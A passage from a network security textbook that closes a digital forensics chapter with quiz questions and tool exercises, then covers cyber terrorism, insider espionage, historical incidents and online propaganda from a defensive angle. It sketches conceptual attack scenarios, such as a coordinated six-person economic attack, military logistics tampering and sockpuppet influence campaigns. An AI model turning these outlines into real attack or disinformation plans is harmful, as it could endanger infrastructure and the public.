- C.** /mail/log/mail.*
- D.** /server/log/mail.*

3. Why should you note all cable connections for a computer you want to seize as evidence?

- A.** To know what outside connections existed
- B.** In case other devices were connected
- C.** To know what peripheral devices exist
- D.** To know what hardware existed

4. What is in the index.dat file?

- A.** Internet Explorer information
- B.** General Internet history, file browsing history, and so on for a Windows machine
- C.** All web history for Firefox
- D.** General Internet history, file browsing history, and so on for a Linux machine

5. What is the name of the standard Linux command that is also available as a Windows application that can be used to create bitstream images and make a forensic copy?
- A. `mcopy`
 - B. `image`
 - C. MD5
 - D. `dd`
6. When cataloging digital evidence, the primary goal is to do what?
- A. Make bitstream images of all hard drives
 - B. Preserve evidence integrity
 - C. Not remove the evidence from the scene
 - D. Not allow the computer to be turned off
7. The command `openfiles` shows what?
- A. Any files that are opened
 - B. Any shared files that are opened
 - C. Any system files that are opened
 - D. Any files open with ADS
8. “Interesting data” is what?
- A. Data relevant to your investigation
 - B. Pornography

- C. Documents, spreadsheets, and databases
 - D. Schematics or other economic-based information
9. Which of the following are important to the investigator regarding logging?
- A. The logging methods
 - B. Log retention
 - C. Location of stored logs
 - D. All of the above

EXERCISES

EXERCISE 16.1: DiskDigger

Download DiskDigger
(<https://diskdigger.org/download>) and search your computer for deleted files. Attempt to recover one file of your choice.

EXERCISE 16.2: Making a Forensic Copy

This exercise requires two computers. You must also download either Kali Linux (formerly Backtrack) or Knoppix (both are free), and then attempt to make a forensic copy of computer A by sending its data to computer B.

PROJECTS

PROJECT 15:1

Download a trial of OSForensics from <https://www.osforensics.com/download.html>.

Examining your own computer, perform the following:

1. Select **Recent Activity** from the menu on the left.
2. Choose **Live Acquisition of Current Machine**. Do not select any configuration or filters.
3. Click the **Scan** button.
4. Notice that the results come primarily from the Windows Registry. First, see which registry keys you remember from the lesson on Windows Registry.
5. Review the items you found. You should be seeing recent browser history, USB, mounted volumes, and more. Take several minutes to familiarize yourself with the output.
6. Now repeat the search, but first use the Config button to do a search only for USB devices and mounted volumes. When that search has completed, review the findings.

7. Now repeat the search, but first use the Config button to do a search only for browser data. When that search has completed, review the findings.

PROJECT 16:2

Examining your own computer with your trial copy of OSForensics, perform the following:

1. Select **Deleted Files Search** from the menu on the left. Do not use any filters.
2. When the Deleted File List is complete, select two or three files that have a green icon, and attempt to recover them to your desktop. You do this by right clicking on the file(s) in question and selecting **Save Deleted File**.
3. Select several files, then right-click and select **Add to Case**.
4. Now repeat your deleted file recovery, but this time use the Config button to include only files that are excellent and smaller than 5000 KB.
5. Select several files, then right click and select **Add to Case**.

Chapter 17

Cyber Terrorism

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Defend against computer-based espionage.
- Employ defenses against computer-based terrorism.
- Choose appropriate defense strategies for your network.
- Employ defenses against information warfare.

INTRODUCTION

To this point, we have covered a wide variety of threats to computer networks, but these threats have primarily been carried out by lone perpetrators, including virus infections that spread randomly via e-mail and the Internet. Because computer systems and networks are such an integral part of all types of organizations, it is only natural that they have become a primary target for espionage and terrorism. Computer-based espionage, which is the use of computer systems to obtain confidential information, can be directed at all types of organizations, including businesses, governments, and political organizations. Because most sensitive data is stored on computer systems, it is only reasonable to assume that most illegal efforts to acquire that data will be a remote attack via the computer network.

The threat of computer-based terrorist acts, or cyber terrorism, is also growing. People around the world are aware of the threat of terrorist attacks in the form of bombs, hijackings, releasing a biological agent, or other means. Unfortunately, many people are only now beginning to consider possibility of cyber terrorism. Cyber terrorism is the use of computers and the Internet connectivity between them to launch a terrorist attack. It is a strong possibility that, in time, someone or

some group will use computer methods to launch a military or terrorist attack against our nation.

You may wonder what this has to do with corporate network security. First, allow me to point out that this book is about network security, not exclusively corporate networks. You, the reader, could be responsible for the security of a government network, even a U.S. Department of Defense network. Secondly, cyber warfare/terrorism attacks have already been executed against civilian networks. This is something we will explore later in this chapter. But that indicates that even corporate network security professionals need to be aware of cyber warfare and terrorism.

DEFENDING AGAINST COMPUTER-BASED ESPIONAGE

Espionage is not necessarily making daring midnight raids into the files of some foreign government. Though that scenario makes the best plots for movies, espionage is simply any attempt to acquire information to which you do not have legitimate access. Whether by law or by some company policy, the person perpetrating espionage is not supposed to be accessing this information but is trying to do so anyway. Generally speaking, a spy wishes to get unauthorized information without anyone realizing he has acquired the data, so espionage is best conducted without any of the drama typically shown in novels or movies.

A variety of motives can lead a person or organization to engage in espionage. Most people think of political/military motivations for espionage, and those often are the motivation for spying. However, there are also economic motivations that might lead one to commit acts of espionage. It is a widely known fact that some businesses will purchase information from less-than-reputable sources. This information might well be sensitive data from a competitor.

Consider that most business data, scientific research data, and even military data is stored on computer

systems and transmitted over telecommunications lines. As a result, any person or group interested in retrieving that data illicitly can attempt to compromise the security of those systems to get the data rather than attempt to physically infiltrate the target organization. This means that the tactics we have discussed for hackers can also be used for illicitly gathering information from a target. Of course, spyware can also play a role in computer-based espionage. Having spyware on a target computer can allow an intruder access to sensitive data directly from the machine that is producing the data.

Even if a person is physically located within the organization and wishes to steal information, computer technology can be used to facilitate this process. Employees from within an organization are frequently the source for leaks of sensitive or confidential data. This can be for a variety of reasons, including any of the following:

- **For money:** The person will be compensated by some other party who is interested in the data.
- **Due to a grudge:** The person believes he has been wronged in some way and wishes to exact retribution.
- **Due to ideology:** The person feels ideologically

opposed to some course of action the organization is taking and chooses to divulge some information in order to disrupt the organization's activities.

Whatever the motivation, you must be aware that it is entirely possible for a member of your organization to divulge data to an outside party. Technology makes this easier to do. A person carrying out boxes of documents is likely to arouse suspicion, but a USB flash drive or CD fits in a pocket or briefcase. Camera-enabled cell phones can be used to photograph diagrams, screens, and so on and to send them to some other party. Some companies ban the use of camera cell phones as well as removing portable media (USB, optical drives, etc.) from workstations. These measures may be more extreme than most organizations require. Even so, you must take some steps to decrease the danger posed by members of your own organization disclosing data. The following list includes 11 steps you might take. You must make the decision of which steps to include based on a complete assessment of the organization's security needs:

- 1.** Always use all reasonable network security: firewalls, intrusion-detection software, anti-spyware, patching and updating the operating system, and proper usage policies.
- 2.** Give the personnel of the company access to only the data that they absolutely need to perform their

jobs. Use a “need-to-know” approach. One does not want to stifle discussion or exchange of ideas, but sensitive data must be treated with great care.

- 3.** If possible, set up a system for those employees with access to the most sensitive data in which there is a rotation and/or a separation of duties. In this way, no one employee has access and control over all critical data at one time.
- 4.** Limit the number of portable storage media in the organization (such as CD burners and flash drives) and control access to these media. Log every use of such media and what was stored. Some organizations have even prohibited cell phones because many phones allow the user to photograph items and send the pictures electronically.
- 5.** Do not allow employees to take documents/media home. Bringing materials home may indicate a very dedicated employee working on her own time or a corporate spy copying important documents and information. Obviously this will not work in all situations or with all document types.
- 6.** Shred documents and destroy old disks/tape backups/CDs. A resourceful spy can often find a great deal of information in the garbage.
- 7.** Do employee background checks. You must be able to trust your employees, and you can only do this

with a thorough background check. Do not rely on “gut feelings.” Give particular attention to information technology (IT) personnel who will, by the nature of their jobs, have a greater access to a wider variety of data. This scrutiny is most important with positions such as database administrators, network administrators, and network security specialists.

8. When any employee leaves the company, scan his or her PC carefully. Look for signs that inappropriate data was kept on that machine. If you have any reason to suspect any inappropriate usage, then store the machine for evidence in any subsequent legal proceedings.
9. Keep all tape backups, sensitive documents, and other media under lock and key, with limited access to them.
10. If portable computers are used, then encrypt the hard drives. Encryption prevents a thief from extracting useable data from a stolen laptop. A number of products on the market accomplish this encryption, including

- **VeraCrypt** (<https://veracrypt.codeplex.com/>): This was formerly TrueCrypt. This is an open source product that is available for Macintosh, Windows, or Linux and is very easy to use. It

provides 256-bit AES encryption.

- **BitLocker** (<https://docs.microsoft.com/en-us/windows/device-security/bitlocker/bitlocker-overview>):

Windows 7 introduced drive encryption with BitLocker in the higher-end versions of the product.

- **Check Point Software** (<https://www.checkpoint.com/products/full-disk-encryption/>): Check Point makes a commercial drive encryption product that is fairly easy to use.

11. Have all employees with access to any sensitive information sign non-disclosure agreements. Such agreements give you, the employer, a recourse should an ex-employee divulge sensitive data. It is amazing how many employers do not bother with this rather simple protection.

Unfortunately, following these simple rules will not make you totally immune to corporate espionage. However, using these strategies will make any such attempts much more difficult for any perpetrator and, thus, you will improve your organization's data security.

How serious is the threat of insiders? Consider recent insider cases involving the U.S. National Security

Agency. I select the NSA as a case study because of their extreme vetting of employees. All of their employees have extensive background checks to obtain security clearances. Furthermore, the NSA has robust technical security measures. If the NSA can be vulnerable to insider threats, so can any organization.

Edward Snowden immediately comes to mind when thinking about NSA insider threats. In this chapter, the ethics/politics/morality of what Mr. Snowden did will not be discussed. This is a book about network security. And from a purely network security perspective, Edward Snowden's disclosure of confidential documents was a monumental breach. He was able to exfiltrate a significant volume of documents and then to share those with third parties.

This was not the only, or even the most egregious, breach of NSA security. In 2016, the FBI arrested Harold Thomas Martin III, alleging that he had transported 50 terabytes of data, with at least 500 million pages of documents, out of the NSA. The fact that this much data was able to be exfiltrated is a serious concern.

These two stories should illustrate the fact that insider threats are quite serious. They may have national security ramifications, as they did in these cases, or not. They may just compromise your network and your data.

DEFENDING AGAINST COMPUTER-BASED TERRORISM

When discussing computer-based terrorism, or cyber terrorism, the first question might be “What is terrorism?” According to the FBI, “cyber terrorism is the premeditated, politically motivated attack against information, computer systems, computer programs, and data that results in violence against noncombatant targets by sub-national groups or clandestine agents.” In short, cyber terrorism is just like other forms of terrorism. It is only the means of the attack that has changed. Clearly the loss of life due to a cyber attack would be much less than that of a bombing. In fact, it is highly likely that there would be no loss of life at all. However, significant economic damage, disruptions in communications, disruptions in supply lines, and general degradation of the national infrastructure are all quite possible via the Internet.

FYI: The U.S. Government Takes Cyber Terrorism Seriously

As early as 2008 and 2009, there were several reports of attacks on various systems tracing back to North Korea or China. Given that both nations are totalitarian regimes with a very strict control on their

populace it is difficult to believe that the governments of those countries were not at least aware of those attacks. And many people (including this author) suspect that these governments were actually behind the attacks. When governments begin using or supporting cyber attacks, they make cyber warfare a reality. In 2010, *60 Minutes* broadcast a report on hacking and cyber terrorism that clearly showed that U.S. power plants, and perhaps hardware, are vulnerable.

There are several ways that a computer- or Internet-based terrorist attack could cause significant harm to a nation. These include:

- Direct economic damage
- Economic disruption
- Compromising sensitive/military data
- Disrupting mass communications

Economic Attack

There are a variety of ways that a cyber attack can cause economic damage. Lost files and lost records are one way. In addition to stealing that data, it could simply be destroyed, in which case the data is gone and the resources used to accumulate and analyze the data are wasted. To use an analogy, consider that a malicious person could choose to simply destroy your car rather than steal it. In either case, you are without the car and will have to spend additional resources acquiring transportation.

In addition to simply destroying economically valuable data (remember that there is very little data that does not have some intrinsic value), there are other ways to cause economic disruption. Some of those ways include stealing credit cards, transferring money from accounts, and fraud. But it is a fact that anytime IT staff is involved with cleaning up a virus rather than developing applications or administering networks and databases, there is economic loss. The mere fact that companies now need to purchase antivirus software, purchase intrusion-detection software, and hire computer security professionals means that computer crime has already caused economic damage to companies and governments around the world. However, the general damage caused by random virus outbreaks, lone hacking

attacks, and online fraud is not the type of economic damage that is the focus of this chapter. This chapter is concerned with a concerted and deliberate attack against a particular target or targets for the exclusive purpose of causing direct damage.

A good way to get a firm grasp on the impact of this type of attack is to walk through a scenario. Group X (which could be an aggressive nation, terrorist group, activist group, or literally any group with the motivation to damage a particular nation) decides to make a concerted attack on our country. They find a small group of individuals (in this case, six) that are well versed in computer security, networking, and programming. These individuals, motivated either by ideology or monetary needs, are organized to create a coordinated attack. There are many possible scenarios under which they could execute such an attack and cause significant economic harm. The example outlined below is just one of those possible attack modalities. In this case, each individual has an assignment, and all assignments are designed to be activated on the same specific date.

- Team member one sets up several fake e-commerce sites. Each of these sites is only up for 72 hours and pretends to be a major stock brokerage site. During the brief time they are up, the sites' real purpose is only to collect credit card numbers/bank account

numbers and so forth. On the predetermined date, all of those credit card and bank numbers will be automatically, anonymously, and simultaneously posted to various bulletin boards/websites and newsgroups, making them available for any unscrupulous individual that wishes to use them.

- Team member two creates a virus. This virus is contained in a Trojan horse. Its function is to delete key system files on the predetermined date. In the meantime, it shows a series of business tips or motivational slogans, making it a popular download with people in business.
- Team member three creates another virus. It is designed to create distributed denial of service (DDoS) attacks on key economic sites, such as those for stock exchanges or brokerage houses. The virus spreads harmlessly and is set to begin its DDoS attack on the predetermined date.
- Team members four and five begin the process of footprinting major banking systems, preparing to crack them on the predetermined date.
- Team member six prepares a series of false stock tips to flood the Internet on the predetermined date.

If each of these individuals is successful in his or her

mission, on the predetermined date, several major brokerages and perhaps government economic sites are taken down, viruses flood networks, and files are deleted from the machines of thousands of businesspeople, economists, and stock brokers. Thousands of credit cards and bank numbers are released on the Internet, guaranteeing that many will be misused. It is also highly likely that the cracking team members four and five will have some success—meaning that possibly one or more banking systems are compromised. It does not take an economist to realize that this would easily cost hundreds of millions of dollars, perhaps even billions of dollars. A concerted attack of this nature could easily cause more economic damage to our country than most traditional terrorists attacks (i.e., bombings) have ever done.

You could extrapolate on this scenario and imagine not just one group of six cyber terrorists, but five groups of six—each group with a different mission and each mission designed to be committed approximately two weeks apart. In this scenario, the nation's economy would literally be under siege for two and one-half months.

This scenario is not particularly far-fetched when you consider that, in past decades, nuclear scientists were sought after by various nations and terrorist groups.

More recently, experts in biological weapons have been sought by these same groups. It seems extremely likely that these groups will see the possibilities of this form of terrorism and seek out computer security/hacking experts. Given that there are literally thousands of people with the requisite skills, it seems likely that a motivated organization could find a few dozen people willing to commit these acts.

Compromising Defense

Economic attacks seem the most likely form of attack because the process is relatively easy (for someone with appropriate technical skills) and it carries low risk for the attacker. However, more direct assaults on a nation's national defense, via computer, are certainly possible. When computer security and national defense are mentioned together, the obvious thought that comes to mind is the possibility of some hacker breaking into highly secure systems at the Department of Defense, Central Intelligence Agency (CIA), or National Security Agency (NSA). However, such an intrusion into one of the most secure systems in the world is very unlikely—not impossible, but very unlikely. The most likely outcome of such an attack would be that the attacker is promptly captured. Such systems are hyper-secure, and intruding upon them is not as easy as some movies might suggest. By “hyper-secure,” think back to the numeric security ratings we gave in [Chapter 12](#) and think about systems with a rating of 9 or 10. This means systems with intrusion detection, multiple firewalls, anti-spyware, honeypots, hardened operating systems, dedicated IT staff, and more. However, there are a number of scenarios in which breaking into less secure systems could jeopardize our national defense or put military plans at risk. Two such scenarios are outlined here.

Consider less sensitive military systems for a moment, for example, systems that are responsible for basic logistical operations (e.g., food, mail, fuel). If someone cracks one or more of these systems, he could perhaps obtain information that several C-141s (an aircraft often used for troop transports and parachute operations) are being routed to a base that is within flight distance of some city—a city that has been the focal point of political tensions. This same cracker (or team of crackers) also finds that a large amount of ammunition and food supplies, enough for, perhaps, 5,000 troops for two weeks, is simultaneously being routed to that base. Then on yet another low-security system the cracker (or team of crackers) notes that a given unit, for example, two brigades of the 82nd Airborne Division, have had all military leaves cancelled. It does not take a military expert to conclude that these two brigades are preparing to drop in on the target city and secure that target. Therefore, the fact that a deployment is going to occur, the size of the deployment, and the approximate time of that deployment have all been deduced without ever attempting to break into a high-security system.

Taking the previous scenario to the next level, assume the hacker gets deep into the low-security logistical systems. Then assume that he does nothing to change the routing of the members of the brigades or the transport planes—actions that might draw attention.

However, he does alter the records for the shipment of supplies so that the supplies are delivered two days late and to the wrong base. So there would be two brigades potentially in harm's way, without a resupply of ammunition or food en route. Of course, the situation could be rectified, but the units in question may go for some time without resupply—enough time, perhaps, to prevent them from successfully completing their mission.

These are just two scenarios in which compromising low-security/low-priority systems can lead to very significant military problems. This further illustrates the serious need for high security on all systems. Given the interconnectivity of so many components of both business and military computer systems, there clearly are no truly “low-priority” security systems.

FYI: Why Include Such Scenarios in This Book?

Some people may suggest that including such scenarios in this book might give a terrorist an idea he did not previously have. However, experience has shown that criminals and terrorists tend to be quite creative in their illicit endeavors. It seems highly unlikely that none of them have envisioned scenarios like those discussed. Including such things in this

book, or any other, ensures that the “good guys” are also thinking about these possible dangers. It also helps to imbue the reader with a certain healthy level of paranoia. In this author’s opinion, a network administrator who is not a little bit paranoid is in the wrong job.

General Attacks

The previously outlined scenarios involve specific targets with specific strategies. However, once a specific target is attacked, defenses can be readied for it. There are many security professionals that work constantly to thwart these specific attacks. What may be more threatening is a general and unfocused attack with no specific target. Consider the various virus attacks of late 2003 and early 2004. These may be old, but they are informative. With the exception of MyDoom, which was clearly aimed at the Santa Cruz Organization, these attacks were not aimed at a specific target. However, the sheer volume of virus attacks and network traffic did cause significant economic damage. IT personnel across the globe dropped their normal projects to work to clean infected systems and to shore up the defenses of systems.

This leads to another possible scenario in which various cyber terrorists continuously release new and varied viruses, perform DoS attacks, and work to make the Internet in general, and e-commerce in particular, virtually unusable for a period of time. Such a scenario would actually be more difficult to combat, as there would not be a specific target to defend or a clear ideological motive to use as a clue to the identity of the perpetrators.

Certainly, no incidents of the magnitude I have described in these scenarios have yet occurred. However, several smaller, less destructive incidents lend credence to the fear that cyber terrorism is a growing threat. We will start with some very old attacks, and move forward to more modern incidents.

- In 1996, a computer hacker allegedly associated with the White Supremacist movement temporarily disabled a Massachusetts ISP and damaged part of the ISP's record-keeping system. The ISP had attempted to stop the hacker from sending out worldwide racist messages under the ISP's name. The hacker signed off with the threat, "You have yet to see true electronic terrorism. This is a promise."
- In 1998, ethnic Tamil guerrillas swamped Sri Lankan embassies with 800 e-mails a day over a two-week period. The messages read, "We are the

Internet Black Tigers and we're doing this to disrupt your communications." Intelligence authorities characterized it as the first known attack by terrorists against a country's computer systems.

- During the Kosovo conflict in 1999, NATO computers were blasted with e-mail bombs and hit with DoS attacks by hacktivists protesting the NATO bombings. In addition, businesses, public organizations, and academic institutes received highly politicized virus-laden e-mails from a range of Eastern European countries, according to reports. Web defacements were also common. After the Chinese Embassy was accidentally bombed in Belgrade, Chinese hacktivists posted messages such as, "We won't stop attacking until the war stops!" on U.S. government websites.
- In Australia in 2000, a disgruntled former consultant hacked into a waste management control system and released millions of gallons of raw sewage on the nearby town.
- In 2001, two hackers cracked a bank system used by banks and credit card companies to secure the personal identification numbers of their customers' accounts. Of even more concern is the fact that the same system is used by the U.S. Treasury Department to sell bonds and treasury bills to the

public over the Internet.

- Most readers who even occasionally read or watch the news are aware of the conflict between India and Pakistan regarding control of the Kashmir province. Fewer people are aware that hackers have gotten involved in this conflict as well. According to the Hindustan Times News, in April of 2003 Pakistani hackers defaced 270 Indian websites. Indian hackers calling themselves “Indian Snakes” spread the Yaha worm as “cyber-revenge.” The worm aimed at performing DDoS attacks on some Pakistani sources, including ISPs, the website of Karachi Stock Exchange, and governmental sites.
- Also in 2003 a group calling itself the Arabian Electronic Jihad Team (AEJT) announced its existence and stated that its goal was to destroy all Israeli and American websites as well as any other “improper” sites.
- In December of 2009 a far more disturbing story than all of these came out. Hackers broke into computer systems and stole secret defense plans of the United States and South Korea. Authorities speculated that North Korea was responsible. The information stolen included a summary of plans for military operations by South Korean and U.S. troops in case of war with North Korea, though the

attacks traced back to a Chinese IP address. This case is clearly an example of cyber espionage and a very serious one at that.

- In 2013, the *New York Times* reported multiple cyber attacks, all targeting financial institutions within the United States. All appear to have been instigated from Iran.
- According to ISight Partners, a cyber intelligence firm, in 2014 hackers from Russia were spying on computers used in NATO and the European Union. The spying was accomplished by exploiting bugs in Microsoft Windows. The hackers were also reported to have been targeting sites in the Ukraine for spying.
- Perhaps most disconcerting was the 2015 breach of the United States Office of Personnel Management. It is estimated that over 21 million records were stolen, including detailed background checks of persons with security clearances.
- In 2016, Britain began using cyber warfare against ISIS/Daesh.
- Also in 2016, Iran began seeking custom-made malware and other cyber warfare capabilities.

According to a 2014 article in *Defense News*, “Cyberwarfare is the most serious threat facing the

United States, according to almost half of US national security leaders who responded to the inaugural Defense News Leadership Poll.” In addition to the incidents previously listed, there is the issue of weaponized malware:

- BlackEnergy is malware that can theoretically manipulate water and power systems, including causing blackouts and water supply disruptions, traced to Russian group SandWorm.
- FinFisher (spyware) was developed for use by law enforcement with a valid warrant. But it was released by WikiLeaks and is now widely available to anyone who wishes to use it.

Clearly cyber terrorism is a growing problem. In this author’s opinion (as well as the opinions of many other security experts), the only reason we have not seen more damaging and more frequent attacks is that many terrorist groups do not have the computer skills required. It can therefore only be a matter of time before such groups either acquire those skills or recruit those who have them.

China Eagle Union

No discussion of cyber terrorism would be complete without a discussion of the China Eagle Union. This group consists of several thousand Chinese hackers whose stated goal is to infiltrate western computer systems. A number of web resources regarding this group exist:

- <http://content.time.com/time/subscriber/article/0,33009,2136810-2,00.html>
- http://onlinedigitalpublishing.com/article/RED_HACKERS,_THE_EA

Members and leaders of the group insist that not only does the Chinese government have no involvement in their activities, but that they are breaking Chinese law and are in constant danger of arrest and imprisonment. Many analysts find this claim dubious. Whether the Chinese government is involved in these attacks or not, some experts consider a state of cyber warfare to currently exist between China and the United States. Some reports claim this group is no longer operational. It is far more likely that it simply changed its name and reorganized.

China's Advanced Persistent Threat

An Advanced Persistent Threat (APT), as the name suggests, is a series of advanced cyber attacks that are sustained over a period of time, thus being persistent. The security firm Mandiant tracked several APTs over a period of 7 years, all originating in China, specifically Shanghai and the Pudong region. These APTs were simply named APT1, APT2, and so on.

The attacks were linked to PLA Unit 61398 of China's military. The Chinese government regards this unit's activities as classified, but it appears that offensive cyber warfare is one of its tasks. Just one of the APTs from this group compromised 141 companies in 20 different industries. APT1 was able to maintain access to victim networks for an average of 365 days, and in one case for 1,764 days. APT1 is responsible for stealing 6.5 terabytes of information from a single organization over a 10-month time frame.

FYI: What Is Hacktivism?

Hacktivism is a term for hacking activities that are motivated by purposes the perpetrator feels are ethically valid. For example, if a particular government is guilty of significant human rights violations, a hacktivist might attempt to compromise its systems. In many cases they will try to crack the

target group's website and post embarrassing information on that website. It is important to keep in mind that, whatever your motives, any unauthorized access of any system is a crime.

CHOOSING DEFENSE STRATEGIES

At this point, you have gained an awareness of the dangers of cyber terrorism and computer-based espionage. Now the question is what can be done to prepare an adequate defense. For businesses and individual organizations, the following steps can be taken:

- Ensure that you have as tight a security as is practical for your organization. Realize that failure to secure your network is not simply a danger to your organization but might be a threat to national security.
- Make certain you do adequate background checks for all network administrators and security personnel. You do not wish to hire someone who is likely to participate in cyber terrorism or espionage.
- If a computer breach occurs or is even attempted, report the incident to the appropriate law enforcement agency. This may not lead to the capture of the perpetrator, and your organization

may not even consider the incident worthy of prosecution. However, if law enforcement agencies are not aware of such incidents, they cannot investigate and prosecute them.

What can be done on a state and national level to defend against this sort of attack?

- **Greater law enforcement attention to computer crimes:** Computer crimes often do not get the attention that other crimes do and, therefore, might not be as thoroughly investigated.
- **Better training for law enforcement:** Simply put, most law enforcement agencies are well-equipped to track down thieves, murderers, and even con men but not to track down hackers and virus writers.
- **Industry involvement:** More involvement from industry is critical, such as Microsoft's offering of cash bounties for information leading to the capture of virus writers.
- **Federal government involvement:** Also critical is more involvement by the FBI, Department of Defense, and other agencies in defense against computer-based crime and terrorism. A coordinated planned response should be formulated.

Nothing can make one completely safe from any attack. However, these steps can be taken to decrease the dangers.

Of even more immediate interest to companies is protecting against industrial espionage. As we have pointed out, this is a real phenomenon and one which you must guard against. If the espionage is conducted by a hacker breaking into your system to steal information, then the various security techniques we have discussed throughout this book are the appropriate defense. However, what can you do to stop an employee who has access to sensitive data and decides to participate in such espionage? Remember that this can occur for many reasons. Perhaps that employee is angry over being passed over for promotion, perhaps he feels the company is doing something unethical and wants to damage the company, or it could be as simple as that person committing espionage for monetary gain.

Whatever the reason, protecting yourself against authorized users divulging data is much harder. Remember the seven steps we mentioned in the section on industrial espionage (removing USBs, prohibiting camera phones, etc.). These can also be helpful. Also recall our discussion in Chapter 11, “Security Policies,” on least privileges. Even if a person requires access to sensitive data, she should have access only to the data

she absolutely needs. For example, a manager of your eastern region marketing division would clearly need access to sales data for that region, but she would not need access to the sales data for the entire nation.

Defending Against Information Warfare

We have examined the use of computers and the Internet for espionage and for terrorism. Now let's look at a third type of attack. Information warfare certainly predates the advent of the modern computer and, in fact, may be as old as conventional warfare. In essence, information warfare is any attempt to manipulate information in pursuit of a military or political goal. When you attempt to use any process to gather information on an opponent or when you use propaganda to influence opinions in a conflict, these are both examples of information warfare. Previously we discussed the role of the computer in corporate espionage. The same techniques can be applied to a military conflict in which the computer can be used as a tool in espionage. Although information gathering will not be re-examined in this chapter, information gathering is only one part of information warfare. Propaganda is another aspect of information warfare. The flow of information impacts troop morale, citizens' outlooks on a conflict, the political support for a conflict, and the involvement of peripheral nations and international organizations.

Propaganda

Computers and the Internet are very effective tools that can be used in the dissemination of propaganda. Many people now use the Internet as a secondary news source, and some even use it as their primary news source. This means that a government, terrorist group, political party, or any activist group could use what appears to be an Internet news website as a front to put their own political spin on any conflict. Such a website does not need to be directly connected to the political organization whose views are being disseminated; in fact, it is better if it is not directly connected.

The Irish Republican Army (IRA), for example, has always operated with two distinct and separate divisions: one that takes paramilitary/terrorist action and another that is purely political. This allows the political/information wing, called Sinn Fein, to operate independently of any military or terrorist activities. In fact, Sinn Fein now has their own website where they disseminate news with their own perspective (www.sinnfein.org). In this situation, however, it is fairly clear to whomever is reading the information that it is biased toward the perspective of the party sponsoring the site. A better scenario (for the party concerned) occurs when there is an Internet news

source that is favorably disposed to a political group's position without having any actual connection at all. This makes it easier for the group to spread information without being accused of any obvious bias. The political group (be it a nation, rebel group, or terrorist organization) can then "leak" stories to this news agency.

Information Control

Since World War II, control of information has been an important part of political and military conflicts. Below are just a few examples.

- Throughout the Cold War, Western democracies invested time and money for radio broadcasts into communist nations. This well-known campaign was referred to as Radio Free Europe. The goal was to create dissatisfaction among citizens of those nations, hopefully encouraging defection, dissent, and general discontent. Most historians and political analysts agree that this was a success.
- The Vietnam War was the first modern war in which there was strong and widespread domestic opposition. Many analysts believe that opposition was due to the graphic images being brought home via television.

- Today, the government and military of every nation are aware of how the phrases they use to describe activities can affect public perception. They do not say that innocent civilians were killed in a bombing raid. Rather, they state that there was “some collateral damage.” Governments do not speak of being the aggressor or starting a conflict. They speak of “preemptive action.” Dissenters in any nation are almost always painted as treasonous or cowards.

Public perception is a very important part of any conflict. Each nation wants its own citizens to be totally in support of what it does and to maintain a very high morale. High morale and strong support lead to volunteers for military service, public support for funding the conflict, and political success for the nation’s leader. At the same time, you want the enemy to have low morale—to doubt not only their ability to be successful in the conflict, but also their moral position relative to the conflict. You want them to doubt their leadership and to be as opposed to the conflict as possible. The Internet provides a very inexpensive vehicle for swaying public opinion.

Web pages are just one facet of disseminating information. Having people post to various discussion groups can also be effective. One full-time propaganda

agent could easily manage 25 or more distinct online personalities, each spending time in different bulletin boards and discussion groups, espousing the views that his political entity wants to espouse. These can reinforce what certain Internet news outlets are posting or they could undermine those postings. They can also start rumors. Rumors can be very effective even when probably false. People often recall hearing something with only a vague recollection of where they heard it and whether it was supported by any data.

Such an agent could have one personality that purports to be a military member (it would take very little research to make this credible) and could post information “not seen in newscasts” that would cast the conflict in either a positive or negative light. She could then have other online personas that entered the discussion who would agree with and support the original position. This would give the initial rumor more credibility. Some people suspect this is already occurring in Usenet newsgroups and Yahoo discussion boards, as well as social media like Facebook and LinkedIn.

FYI: Is Cyber Information Warfare Happening Now?

Anyone familiar with Yahoo news boards has probably noticed an odd phenomenon. At certain

times, there will be a flood of posts from anonymous users, all saying essentially the exact same things—even using the exact same grammar, punctuation, and phrasing—and all in support of some ideological perspective. These flurries often happen in times when influence of public opinion is important, such as when an election is nearing. Whether or not these postings are coordinated by any well-known or official organization is debatable. However, they are an example of information warfare. One person or group of people attempt to sway opinion by flooding one particular media (Internet groups) with various items advocating one view. If they are lucky, some individuals will copy the text and e-mail it to friends who do not participate in the newsgroups, thus crossing over to another medium and spreading opinions (in some cases entirely unfounded) far and wide.

Of particular interest were posts made immediately prior to the 2012 United States presidential election. This was repeated in 2016. As the election drew closer, there were literally thousands of posts, in many cases repeating outright lies about one candidate or the other. Whether or not this was an organized effort, or if it even swayed the election, is certainly debatable. However, it does seem that as more and more people use the Internet as a vehicle

for news and discussions, it will also become a vehicle for swaying opinions.

Some marketing firms already use the Internet for what is termed stealth marketing. For example, if a new video game is released, the marketing firm might hire someone to begin frequenting relevant chat rooms and discussion boards, use numerous different identities, and begin discussions that cast the new product in a favorable light. So it is a fact that this technique has been applied in the realm of product marketing. If it has not yet been applied to political issues, then it would seem to be only a matter of time before it is.

Closely related to propaganda, disinformation is yet another type of information warfare. It is a given that one's opponent is attempting to gather information about one's troop movements, military strength, supplies, and so on. A prudent move would be to set up systems that had incorrect information and were just secure enough to be credible but not secure enough to be unbreakable. For example, a user may send an encrypted coded message that seems to say one thing when intercepted and decrypted but actually has a different message to a recipient who can complete the code. There are encryption schemes that do just this. The actual message is "padded" with "noise." That noise

is a weakly encrypted false message, and the real message is more strongly encrypted. This way if the message is decrypted, there exists a high likelihood that the fake message will be decrypted, not the real one. Marine General Gray put it best when he said “Communications without intelligence is noise; intelligence without communications is irrelevant.”

Actual Cases

In addition to some of the cases already listed, there have been other credible threats or actual incidents of cyber attacks in the past several years. Let’s briefly examine some of these cases. Some of these are quite a few years old, but illustrate the issue.

- In 2002, Counterpane Internet Security reported a credible threat of a Chinese-backed, all-out cyber attack planned on the United States and Taiwan. A private group of Chinese hackers, called the China Eagle Union, planned to attack routers and web servers across the United States and Taiwan. The attack never materialized, but unconfirmed reports suggested that the CIA took the threat seriously.
- In June of 2000, Russian authorities arrested a man they accused of being a CIA-backed hacker. This man allegedly hacked into systems of the Russian

Domestic Security Service (FSB) and gathered secrets that he then passed on to the CIA. This example illustrates the potential for a skilled hacker using his knowledge to conduct espionage operations. This espionage is likely occurring much more often than is reported in the media, and many such incidents may never come to light.

Alternative media sources have been reporting that both the CIA and NSA have employed hackers for some time. This is now rather public knowledge. Also, the U.S. military has a cyber command. Other nations also have cyber operations; in fact, most nations now publicly admit to having cyber warfare units.

